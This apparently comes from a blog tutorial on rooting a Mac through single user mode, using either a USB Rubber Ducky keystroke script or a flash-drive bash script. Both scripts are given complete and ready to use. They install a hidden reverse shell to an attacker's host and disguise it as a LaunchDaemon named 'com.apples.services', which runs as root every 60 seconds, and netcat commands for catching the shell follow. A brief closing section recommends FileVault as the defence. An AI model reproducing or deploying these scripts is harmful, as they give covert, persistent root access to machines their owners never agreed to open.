Often times, physical access to a machine means game over. While people like to think that OSX is immune to most security threats, even Apple computers can be susceptible to physical attacks. Mac OSX is capable of booting into single user mode by holding a special key combination (Command-S). From this point, an attacker has root access to the entire computer. Note that this is not a security exploit, but rather an intentionally designed feature. While of course the intruder needs to be physically present, this can become a huge security problem. (There is proven method for preventing this attack that I will cover at the end of the article.)
Since physical access to the machine is required, time is precious and must be cut to a minimum. There are two methods for optimizing time, scripts and a little tool called the USB Rubber Ducky. The Rubber Ducky is small HID that looks like a flash drive and acts like a keyboard. It is designed to pound out scripts at freakish speeds, as if you were typing it yourself. Of course, a flash drive will work too.
This backdoor is almost identical to the basic backdoor described in OSX Backdoor – Persistence. Read that article if you would like to better understand the inner workings of this backdoor. Similarly, we will create a script that sends a shell back home through netcat. Finally, we will add the script as a Launch Daemons where it will be executed as root every 60 seconds.
Checkout the Github repository.
The Rubber Ducky Method
1) Download the Ducky Decoder and Firmware from here.
Be sure to use duck_v2.1.hex or above. There are instructions on how to flash your ducky. At the time of writing this, I used Ducky Decoder v2.4 and duck_v2.1.hex firmware. (Special thanks to midnitesnake for patching the firmware)
2) Create the script source.txt.
Be sure to replace mysite.com with your IP address or domain name. Similarly, place your port number 1337 on the same line.
REM Patrick Mosca REM A simple script for rooting OSX from single user mode. REM Change mysite.com to your domain name or IP address REM Change 1337 to your port number REM Catch the shell with 'nc -l -p 1337' REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/ DELAY 1000 STRING mount -uw / ENTER DELAY 2000 STRING mkdir /Library/.hidden ENTER DELAY 200 STRING echo '#!/bin/bash ENTER STRING bash -i >& /dev/tcp/mysite.com/1337 0>&1 ENTER STRING wait' > /Library/.hidden/connect.sh ENTER DELAY 500 STRING chmod +x /Library/.hidden/connect.sh ENTER DELAY 200 STRING mkdir /Library/LaunchDaemons ENTER DELAY 200 STRING echo '<plist version="1.0"> ENTER STRING <dict> ENTER STRING <key>Label</key> ENTER STRING <string>com.apples.services</string> ENTER STRING <key>ProgramArguments</key> ENTER STRING <array> ENTER STRING <string>/bin/sh</string> ENTER STRING <string>/Library/.hidden/connect.sh</string> ENTER STRING </array> ENTER STRING <key>RunAtLoad</key> ENTER STRING <true/> ENTER STRING <key>StartInterval</key> ENTER STRING <integer>60</integer> ENTER STRING <key>AbandonProcessGroup</key> ENTER STRING <true/> ENTER STRING </dict> ENTER STRING </plist>' > /Library/LaunchDaemons/com.apples.services.plist ENTER DELAY 500 STRING chmod 600 /Library/LaunchDaemons/com.apples.services.plist ENTER DELAY 200 STRING launchctl load /Library/LaunchDaemons/com.apples.services.plist ENTER DELAY 1000 STRING shutdown -h now ENTER
3) Compile and install the script.
From within the ducky decoder folder, execute:
java -jar encoder.jar -i source.txt -o inject.bin -l us
Move your inject.bin over to the ducky.
4) Boot into single user mode (Command – S).
5) At the command prompt, plug in ducky.
6) Catch your shell.
nc -l -p 1337
nc -l 1337
Say hello! You are now root
The USB Flash Drive Method
1) Create the file install.bash on a flash drive.
#!/bin/bash #Create the hidden directory /Library/.hidden mkdir /Library/.hidden #Copy the script to hidden folder echo " #!/bin/bash bash -i >& /dev/tcp/mysite.com/1337 0>&1 wait" > /Library/.hidden/connect.sh #Give the script permission to execute chmod +x /Library/.hidden/connect.sh #Create directory if it doesn't already exist. mkdir /Library/LaunchDaemons #Write the .plist to LaunchDaemons echo ' Label com.apples.services ProgramArguments /bin/sh /Library/.hidden/connect.sh RunAtLoad StartInterval 60 AbandonProcessGroup ' > /Library/LaunchDaemons/com.apples.services.plist chmod 600 /Library/LaunchDaemons/com.apples.services.plist #Load the LaunchAgent launchctl load /Library/LaunchDaemons/com.apples.services.plist shutdown -h now
2) Boot into single user mode (Command – S).
3) Execute the commands.
mount -uw / mkdir /Volumes/usb ls /dev mount_msdos /dev/disk1s1 /Volumes/usb cd /Volumes/usb ./install.bash
disk1s1 will change! If you’re not sure which device is your flash, take out your device, list devices, put your flash drive back in, and list devices. Your flash drive will be the device that has come and gone.
4) Catch your shell.
nc -l -p 1337
nc -l 1337
The difference between the USB Rubber Ducky method and the flash drive method is night and day. There is a little more preparation that goes into setting up the ducky, but execution time is prime. When time is of the essence, listing devices, making directories, and mounting flash drives can impede on an “operation.” Either route you choose, both methods will ensure a persistent backdoor as the root user
As for preventing this lethal attack, there are two possible defenses. Locking the EFI firmware will prevent users from accessing single user mode by locking single user mode with a password. Don’t do this. It is a complete waste of time. The password can be reset by removing physical RAM and resetting the PRAM as described here. The only sure way to prevent unwanted root access to your system is by simply enabling File Vault’s full disk encryption (not home folder encryption!). Since this encrypts the entire drive, it is will be impossible to access single user mode without the (strong) password. Problem solved.
This article was written to show the vulnerabilities of Macs without full disk encryption or locked EFI firmware. Please no one get in trouble. It is very easy to sniff the wire and find the attacker’s IP address that is causing excessive noise every 60 seconds.
I put the script and version 2.6.3 of the ducky encoder on Github for convenience. If you found this interesting, give a star. Thanks for reading.
40,445 total views, 92 views today